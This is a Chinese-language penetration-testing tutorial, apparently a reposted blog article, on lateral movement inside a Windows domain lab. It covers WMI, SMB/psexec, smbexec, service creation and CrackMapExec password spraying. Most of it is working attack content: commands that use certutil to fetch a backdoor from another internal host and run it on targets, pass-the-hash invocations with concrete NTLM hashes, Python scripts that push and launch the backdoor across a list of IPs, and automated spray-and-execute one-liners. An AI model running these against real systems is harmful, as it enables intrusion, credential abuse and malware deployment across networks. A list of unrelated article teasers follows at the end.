【内网安全】横向移动-Wmi-Smb-CME密码喷射

news2024/9/22 5:32:22

目录

  • 环境介绍
  • 域信息收集-横向移动前置
        • 判断是不是在域内
        • 获取域控主机的内网ip
        • 端口扫描内网
        • 获取主机密码
  • 域横向移动-WMI-自带&命令&套件&插件
    • 1.wmic
        • 系统自带:(单执行:即无回显)
    • 2.cscript
        • 系统自带:(交互式)
    • 3.wmiexec-impacket(推荐)
        • 第三方:(交互式&单执行)
          • 建立节点进行通讯
          • 执行命令
          • hash命令执行
          • 生成代理转发上线后门
          • 下载后门:
          • 执行后门:
  • 域横向移动-SMB-自带&命令&套件&插件
    • 1.psexec
        • 系统官方工具包:(交互式 windows官方工具)
        • 第三方:(交互式 第三方开发的工具)
        • CS插件:
    • 2.smbexec-impacket
        • 第三方:(交互式)
          • 明文密码登录
          • hash登录
    • 3.services(不好用)
        • 系统自带:(单执行)
  • 域横向移动-工具-Proxychains&CrackMapExec
    • 1、Windows+Proxifier+Python_exp
    • 2、Linux+Proxychains+CrackMapExec
    • CrackMapExec
    • Linux Proxychains使用
        • 密码喷射域登录:
        • 密码喷射本地登录:
        • hash密码登录
        • 密码喷射本地登录命令执行:
        • 密码喷射本地登录命令执行上线:
        • 密码喷射域登录命令执行上线:
        • 密码喷射本地&域登录命令执行全自动上线:

环境介绍

已经获取到了webserver服务器的权限
横向移动到其他域内主机

域信息收集-横向移动前置

net user /domain 获取域内用户
mimikatz logonpasswords
Ladon Adfinder BloodHound 
判断是不是在域内

CS: shell net time /domian

同时获取到了它的域名

获取域控主机的内网ip

CS:shell ping OWA2010CN-God.god.org

推测 192.168.3.21 就是域控主机

端口扫描内网


因为内网是在3网段,端口扫描3网段

目标列表

获取主机密码


可以抓hash也可以抓明文

当完成以上步骤后,就可以开始进行横向移动了

域横向移动-WMI-自带&命令&套件&插件

WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,

并且该方法不会在目标日志系统留下痕迹。
以下有三种WMI横向移动方法

1.wmic

系统自带:(单执行:即无回显)

192.168.3.32主机下载192.168.3.31主机上的4445.exe

wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4445.exe c:/4445.exe"

成功后不会显示回显

但已经执行成功了

运行4445.exe

wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe c:/4445.exe"

2.cscript

系统自带:(交互式)

上传wmiexec.vbs到web主机上

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345


但这个不适合在 CS 上面用
适合在shell里面做横向移动

3.wmiexec-impacket(推荐)

第三方:(交互式&单执行)

这个有两种运行方式

  1. 上传到主机上运行(不推荐,容易被杀且文件过大)
  2. 建立socks节点在本机上运行(推荐)
建立节点进行通讯


端口随便设置,但在安全组里面要设置开启

用代理软件连接代理即可

这时就可以用本机进行通讯了

执行命令

登录192.168.3.32主机并执行whoami命令

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"

hash命令执行

同上,但用 hash 进行命令执行

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"

生成代理转发上线后门


监听地址设置为web服务器的内网地址(因为要与其他域内主机进行通讯)

生成后门

下载后门:


上传后门到网站服务器根目录 C:\inetpub\wwwroot

下载后门

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe" 


下载成功

执行后门:
python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/4455.exe"


成功上线

也可以将下载执行合并在一起,一条命令解决

python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:\4455.exe"

域横向移动-SMB-自带&命令&套件&插件

利用SMB服务可以通过明文或hash传递来远程执行,
条件:445服务端口开放。

1.psexec

PsTools - Sysinternals | Microsoft Learn

系统官方工具包:(交互式 windows官方工具)

需要管理员权限运行
反弹cmd

psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

第三方:(交互式 第三方开发的工具)

第三方的支持用 Hash 连接,且不需要管理员执行

python psexec.py  -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32


用账号密码连接

python psexec.py ./administrator:admin!@# 45@192.168.3.32
CS插件:

cs-psexec

监听器选择内网的这个,修改一下用户名

这个 如果填写就是用域用户的administrator进行登录,不填就是本地登录

有时候域用户登不上(因为账号密码需要域控的密码),可以不填写域试试
这里不填就上线成功了

2.smbexec-impacket

第三方:(交互式)
明文密码登录
python smbexec.py ./administrator:admin!@#45@192.168.3.32

smbexec god/administrator:admin!@#45@192.168.3.32

上线失败,因为登录的是域内的administrator 密码不对

hash登录
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

3.services(不好用)

系统自带:(单执行)
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell

域横向移动-工具-Proxychains&CrackMapExec

1、Windows+Proxifier+Python_exp

import os

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}

def down():
    for ip in ips:
        wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"' % ip
        print(wmi_exec)
        os.system(wmi_exec)

def zx():
    for ip in ips:
        wmi_exec = 'D:\\Python\\python-3.8.10\\python.exe D:\\tools\内网\impacket-0.11.0\examples\\wmiexec.py ./administrator:admin!@#45@%s "c:/4455.exe"' % ip
        print(wmi_exec)
        os.system(wmi_exec)

if __name__ == '__main__':
    down()
    zx()

运行脚本,成功上线了内网另外一台主机

对它抓密码凭证,成功获取出一个hash

这里给一个我自己修改后的脚本,支持明文与hash密码
自己修改一下脚本与python位置就行了

import subprocess

ips = {
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.32'
}

users = {
    'administrator'
}

passwords = {
    'admin!@#45'
}

hashes = {
    'ccef208c6485269c20db2cad21734fe7'
}

def execute_command(command, timeout=20):
    try:
        result = subprocess.run(command, shell=True, timeout=timeout)
        if result.returncode != 0:
            print(f'\033[93m账号或密码错误:\033[0m {command}\n')
    except subprocess.TimeoutExpired:
        print(f'\033[93m命令执行超时:\033[0m {command}\n')
    except Exception as e:
        print(f'\033[93m命令执行时出现错误:\033[0m {e}\n')

def down():
    for ip in ips:
        for user in users:
            for passwd in passwords:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
                print(f'\033[92m尝试下载文件:  当前ip: {ip}  当前用户: {user}  当前密码: {passwd}\033[0m')
                print(wmi_exec)
                execute_command(wmi_exec)

def zx():
    for ip in ips:
        for user in users:
            for passwd in passwords:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py ./{user}:{passwd}@{ip} "cmd.exe /c c:/4455.exe"'
                print(f'\033[92m尝试运行程序:  当前ip: {ip}  当前用户: {user}  当前密码: {passwd}\033[0m')
                execute_command(wmi_exec)

def hash_down():
    for ip in ips:
        for user in users:
            for hash in hashes:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe"'
                print(wmi_exec)
                print(f'\033[92m尝试下载文件:  当前ip: {ip}  当前用户: {user}  当前hash密码: {hash}\033[0m')
                execute_command(wmi_exec)

def hash_zx():
    for ip in ips:
        for user in users:
            for hash in hashes:
                wmi_exec = f'D:\\Python\\python-3.8.10\\python.exe D:\\tools\\内网\\impacket-0.11.0\\examples\\wmiexec.py -hashes :{hash} ./{user}@{ip} "cmd.exe /c c:/4455.exe"'
                print(f'\033[92m尝试运行程序: 当前ip: {ip}  当前用户: {user}  当前hash密码: {hash}\033[0m')
                print(wmi_exec)
                execute_command(wmi_exec)

if __name__ == '__main__':
    down()
    zx()
    hash_down()
    hash_zx()

2、Linux+Proxychains+CrackMapExec

CrackMapExec

Github:GitHub - byt3bl33d3r/CrackMapExec: A swiss army knife for pentesting networks

官方手册:Site Unreachable

部分案例:CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具 - FreeBuf网络安全行业门户

下载对应release,建立socks连接,设置socks代理,配置规则,调用
安装:Site Unreachable

我在服务器上试了半天没有成功,最后还是在本地kali上进行安装,(一条命令解决)
apt-get install crackmapexec

Linux Proxychains使用

安装使用:proxychains 安装和proxychains 代理nmap-CSDN博客

代理配置:Proxychains.conf

代理调用:Proxychains 命令

密码喷射域登录:
proxychains  crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45 '

基本都失败了,因为用的域登录

密码喷射本地登录:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth

成功两个

hash密码登录
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -H 'ccef208c6485269c20db2cad21734fe7'

密码喷射本地登录命令执行:
proxychains crackmapexec  smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth

密码喷射本地登录命令执行上线:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

成功上线

密码喷射域登录命令执行上线:
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'
密码喷射本地&域登录命令执行全自动上线:
先创建两个txt 写入域内账号 密码(一行一条)
vim user.txt
vim pass.txt

域登录全自动上线

proxychains crackmapexec smb 192.168.3.21-32 -u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe'

本地登录全自动上线

proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1932991.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[RuoYi-Vue] - 6. 若依二次开发

文章目录 🌳1. 模块定制(修改包名)1.1 若依框架修改器1.2 使用示例 🌿2. 新建业务模块2.1 新建子模块2.2 版本锁定2.3 添加模块依赖 🌾3. 菜品管理开发3.1 准备SQL并导入数据库3.2 配置代码生成信息3.3 下载代码并导入项目 🍃4. 通…

【Linux】深入了解`rm`命令:删除文件与目录的终极指南

文章目录 一、rm命令概述二、rm命令的基本用法三、rm命令的常用选项1. -i:交互式删除2. -f:强制删除3. -r或-R:递归删除目录4. -v:详细模式 四、rm命令的高级用法1. 结合其他命令使用2. 删除空目录 五、rm命令的注意事项 在Linux操…

Neither the JAVA_HOME nor the JRE_HOME environment variable is defined问题解决

一、系统环境变量中添加tomcatjdk的环境变量声明 1、右击此电脑->属性->高级系统设置 可复制粘贴下面的变量名 CATALINA_HOME 点击path->编辑->新建 可将下面值粘入 %CATALINA_HOME%\bin 2、配置jdk的系统变量 系统变量->新建->如图 可将下面变量名粘入 J…

【java】力扣 H指数

文章目录 题目链接题目描述思路代码 题目链接 274.H指数 题目描述 思路 设置n为citations的长度,也就是发表论文的篇数,h肯定是不能超过n的,所以当有引用次数大于n时,我们要看成n, 要创建一个数组arr,来…

牛客 7.13 月赛(留 C逆元 Ddp)

B-最少剩几个?_牛客小白月赛98 (nowcoder.com) 思路 奇数偶数 奇数;奇数*偶数 奇数 所以在既有奇数又有偶数时,两者结合可以同时删除 先分别统计奇数,偶数个数 若偶个数大于奇个数,答案是偶个数-奇个数 若奇个数…

揭秘失眠的幕后黑手:你为何辗转难眠?

揭秘失眠的幕后黑手:你为何辗转难眠? 在这个快节奏的时代,失眠已经成为许多人的“隐形杀手”。你是否也曾在夜深人静时,躺在床上辗转反侧,望着天花板发呆,数着绵羊也无法入睡?今天,…

【CSS in Depth 2 精译_018】3.1.2 逻辑属性 + 3.1.3 用好逻辑属性的简写形式

当前内容所在位置(可进入专栏查看其他译好的章节内容) 第一章 层叠、优先级与继承(已完结) 1.1 层叠1.2 继承1.3 特殊值1.4 简写属性1.5 CSS 渐进式增强技术1.6 本章小结 第二章 相对单位(已完结) 2.1 相对…

在 Windows 上运行 Linux:WSL2 完整指南(二)

系列文章目录 在 Windows 上运行 Linux:WSL2 完整指南(一)🚪 在 Windows 上运行 Linux:WSL2 完整指南(二)🚪 文章目录 系列文章目录前言四、常见问题及解决方法问题二:0…

本地部署,edge-tts文本转语音解决方案

目录 什么是 edge-tts? 主要特点 应用场景 优势 开始使用 edge-tts 命令行安装 edge-tts 库: docker安装 未来展望 总结 https://github.com/rany2/edge-ttshttps://github.com/rany2/edge-tts 随着科技的进步,文本转语音&#xff…

PyCharm查看文件或代码变更记录

背景: Mac笔记本上有一个截图的定时任务在运行,本地Python使用的是PyCharm IDE,负责的同事休假,然后定时任务运行的结果不符合预期,一下子不知道问题出现在哪里。 定位思路: 1、先确认网络、账号等基本的…

Flutter动画详解第二篇之显式动画(Explicit Animations)

目录 前言 一、定义 1.AnimationController 1.常用属性 1. value 2. status 3. duration 2.常用方法 1.forward 2.reverse 3.repeat 4.stop 5. reset 6. animateTo(double target, {Duration? duration, Curve curve Curves.linear}) 7.animateBack(double ta…

android R ext4 image打包脚本介绍

一、Android R打包指令使用介绍 (1)mkuserimg_mke2fs #./mkuserimg_mke2fs --help usage: mkuserimg_mke2fs [-h] [--android_sparse] [--journal_size JOURNAL_SIZE][--timestamp TIMESTAMP] [--fs_config FS_CONFIG][--product_out PRODUCT_OUT][--b…

Nginx、LNMP万字详解

目录 Nginx 特点 Nginx安装 添加Nginx服务 Nginx配置文件 全局配置 HTTP配置 状态统计页面 Nginx访问控制 授权用户 授权IP 虚拟主机 基于域名 测试 基于IP 测试 基于端口 测试 LNAMP 解析方式 LNMP转发php-fpm解析 Nginx代理LAMP解析 LNMP部署示例 实…

live555 rtsp服务器实战之doGetNextFrame

live555关于RTSP协议交互流程 live555的核心数据结构值之闭环双向链表 live555 rtsp服务器实战之createNewStreamSource live555 rtsp服务器实战之doGetNextFrame 注意:该篇文章可能有些绕,最好跟着文章追踪下源码,不了解源码可能就是天书…

message from server: “Too many connections“

theme: nico 你们好,我是金金金。 场景 启动服务时,报错如上:数据源拒绝建立连接,服务器发送消息:“连接过多” 排查 看报错信息提示的很明显了 查看MySQL 数据库中最大允许连接数的配置信息(我mysql是部…

LabVIEW Communications LTE Application Framework 读书笔记

目录 硬件要求一台设备2台USRPUSRP-2974 示例项目的组件文件夹结构DL Host.gcompeNodeB Host.gcompUE Host.gcompBuildsCommonUSRP RIOLTE 操作模式DLeNodeBUE 项目组件单机双机UDP readUDP writeMAC TXMAC RXDL TX PHYDL RX PHYUL TX PHYUL RX PHYSINR calculationRate adapta…

python入门课程Pro(1)--数据结构及判断

数据结构及判断 第1课 复杂的多向选择1.if-elif-else2.if嵌套3.练习题(1)大招来了(2)奇数还是偶数(3)简洁代码 第2课 数据与判断小结1.变量2.格式化输出3.逻辑运算-或与非4.判断条件5.练习题(1&…

基于 JAVA 的旅游网站设计与实现

点击下载源码 塞北村镇旅游网站设计 摘要 城市旅游产业的日新月异影响着村镇旅游产业的发展变化。网络、电子科技的迅猛前进同样牵动着旅游产业的快速成长。随着人们消费理念的不断发展变化,越来越多的人开始注意精神文明的追求,而不仅仅只是在意物质消…

[word] word如何编写公式? #微信#知识分享

word如何编写公式? word如何编写公式?Word中数学公式是经常会使用到的,若是要在文档中录入一些复杂的公式,要怎么做呢?接下来小编就来给大家讲一讲具体操作,一起看过来吧! 方法一:…

RISC-V在线反汇编工具

RISC-V在线反汇编工具: https://luplab.gitlab.io/rvcodecjs/#q34179073&abifalse&isaAUTO 不过,似乎,只支持RV32I、RV64I、RV128I指令集: